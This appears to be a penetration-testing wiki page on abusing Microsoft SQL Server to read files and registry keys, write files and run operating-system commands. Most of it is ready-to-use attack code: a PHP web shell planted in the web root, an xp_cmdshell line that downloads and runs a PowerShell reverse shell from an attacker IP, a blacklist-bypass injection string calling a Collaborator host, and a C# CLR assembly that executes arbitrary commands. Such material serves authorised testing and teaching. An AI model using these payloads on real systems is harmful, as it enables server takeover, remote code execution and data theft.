Read/Write/Execute

Theory

When exploiting SQL injection vulnerabilities, or if you have a direct access to the DBMS, you may be able to read/write files on the operating system. In some case you will be able to execute arbitrary command

Practice

Read

Directories

We may list directories on MSSQL using following commands

EXEC master.sys.xp_dirtree 'C:\',1,1
xp_dirtree 'C:\'
EXEC master.dbo.xp_dirtree 'C:\'
EXEC master..xp_subdirs 'C:\'
EXEC master..xp_fileexist 'C:\'

You can check who (apart sysadmins) has permissions to run those MSSQL functions with:

Use master;
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';

Files

By default, MSSQL allows file read on any file in the operating system to which the account has read access. We can use the following SQL query:

SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents

However, the BULK option requires the ADMINISTER BULK OPERATIONS or the ADMINISTER DATABASE BULK OPERATIONS permission.

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';

Registry

Microsoft SQL Server provides multiple extended stored procedures that allow you to interact with not only the network but also the file system and even the Windows Registry:

Regular

Instance-Aware

sys.xp_regread

sys.xp_instance_regread

sys.xp_regenumvalues

sys.xp_instance_regenumvalues

sys.xp_regenumkeys

sys.xp_instance_regenumkeys

sys.xp_regwrite

sys.xp_instance_regwrite

sys.xp_regdeletevalue

sys.xp_instance_regdeletevalue

sys.xp_regdeletekey

sys.xp_instance_regdeletekey

sys.xp_regaddmultistring

sys.xp_instance_regaddmultistring

sys.xp_regremovemultistring

sys.xp_instance_regremovemultistring

# Example read registry
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';

# Example write and then read registry
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';

# Example to check who can use these functions
Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';

Write

To write files using MSSQL, we need to enable Ole Automatin Procedures, which requires admin privileges, and then execute some stored procedures to create the file:

# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE

sp_configure 'Ole Automation Procedures', 1
RECONFIGURE

# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE

Command Execution

XP_CMDSHELL

We can execute code on MSSQL instances using the xp_cmdshell function. To enable it, we need admin privileges (sysadmin privileges).

xp_cmdshell is disabled by default since SQL Server 2005

# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

# Get users that can run xp_cmdshell (except DBA)
Use master
EXEC sp_helprotect 'xp_cmdshell'

# Enable xp_cmdshell
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;

# Execute code
EXEC xp_cmdshell "net user";
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'

# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' โ€”

Alternatively, we may use PowerUpSQL to acheive the same goal.

Invoke-SQLOSCmd -Username sa -Password pw -Instance instance -Command whoami

Python Scripts

We can execute python scipts as follows (needs sysadmin privileges).

Commands will runs with privileges of a dynamically created Windows user account (member of the SQLRUserGroup).

Python was introduced in SQL Server 2017. Runtime environments must be installed as a prerequisite (wich is not by default).

#Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO

Alternatively, we may use PowerUpSQL to acheive the same goal.

Invoke-SQLOSR -Username sa -Password pw -Instance instance -Command "powershell -e <base64encodedscript>" -Verbose
Invoke-SQLOSPython -Username sa -Password pw -Instance instance -Command "powershell -e <base64encodedscript>" -Verbose

OLE Automation Procedure

We can execute commands through a stored procedure utilizing Object Linking and Embedding (OLE) technology. (needs sysadmin privileges).

Commands will be executed with the privileges of SQL Server service account.

# Enabling
sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'Ole Automation Procedures', 1;
GO
RECONFIGURE;
GO

# Execute code
DECLARE @output INT
DECLARE @ProgramToRun VARCHAR(255)
SET @ProgramToRun = 'Run("calc.exe")'
EXEC sp_oacreate 'wScript.Shell', @output out
EXEC sp_oamethod @output, @ProgramToRun
EXEC sp_oadestroy @output

Alternatively, we may use PowerUpSQL to acheive the same goal.

Invoke-SQLOSOle -Username sa -Password pw -Instance instance -Command "whoami" -Verbose

Custom CLR Assemblies

SQL Server CLR integration allows writing stored procedures. We can create a CLR UDF (Common Language Runtime User Defined Function) in any .NET language and compil it into a DLL. It can then be loaded within MSSQL for executing custom functions (needs sysadmin privileges).

The TRUSTWORTHY property should be set to allow the use of the CREATE ASSEMBLY statement.

By default, only the msdb database has this property enabled

First lets write and compile the following DLL

cmd_exec.cs
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;

public partial class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void cmd_exec (SqlString execCommand)
    {
        Process proc = new Process();
        proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
        proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
        proc.StartInfo.UseShellExecute = false;
        proc.StartInfo.RedirectStandardOutput = true;
        proc.Start();
        // Create the record and specify the metadata for the columns.
        SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
        
        // Mark the beginning of the result set.
        SqlContext.Pipe.SendResultsStart(record);
        // Set values for each column in the row
        record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
        // Send the row back to the client.
        SqlContext.Pipe.SendResultsRow(record);
        
        // Mark the end of the result set.
        SqlContext.Pipe.SendResultsEnd();
        
        proc.WaitForExit();
        proc.Close();
    }
};
# Example of compiling from Windows
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library c:\temp\cmd_exec.cs

# Example of compiling from Linux
mono-csc -platform:x64 -unsafe core/templates/loaderTemplate/template.cs -r:System.Data /target:library -out:cmd_exec.dll

We should know enable CLR:

use msdb

EXEC sp_configure 'show advanced options',1
RECONFIGURE

EXEC sp_configure 'clr enabled',1
RECONFIGURE

EXEC sp_configure 'clr strict security', 0
RECONFIGURE

Convert the compiled DLL (.NET Assembly) to hexadecimal:

$assemblyFile = "\\<ATTACKING-IP>\cmd_exec.dll"
$stringBuilder = New-Object -Type System.Text.StringBuilder
$fileStream = [IO.File]::OpenRead($assemblyFile)
while (($byte = $fileStream.ReadByte()) -gt -1) {
    $stringBuilder.Append($byte.ToString("X2")) | Out-Null
}
$stringBuilder.ToString() -join "" | Out-File SqlCmdExec.txt

We can now load the assembly into MSSQL and execute it as follows:

# Load the assembly 
## From Hex (replace the hex code)
CREATE ASSEMBLY my_assembly FROM 0x4D5A900..... WITH PERMISSION_SET = UNSAFE;
GO

## Or directly load from remote file
CREATE ASSEMBLY my_assembly FROM '\\192.168.15.2\fileserver\cmd_exec.dll' WITH PERMISSION_SET = UNSAFE;
GO

# Link assembly to a stor procedure
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];
GO

# Execute
cmd_exec 'whoami'

# Clean up
DROP PROCEDURE cmd_exec
DROP ASSEMBLY my_assembly

Alternatively, we may use PowerUpSQL to acheive the same goal.

Invoke-SQLOSCLR -Username sa -Password pw -Instance instance -Command "whoami" -Verbose

Resources

Last updated

Was this helpful?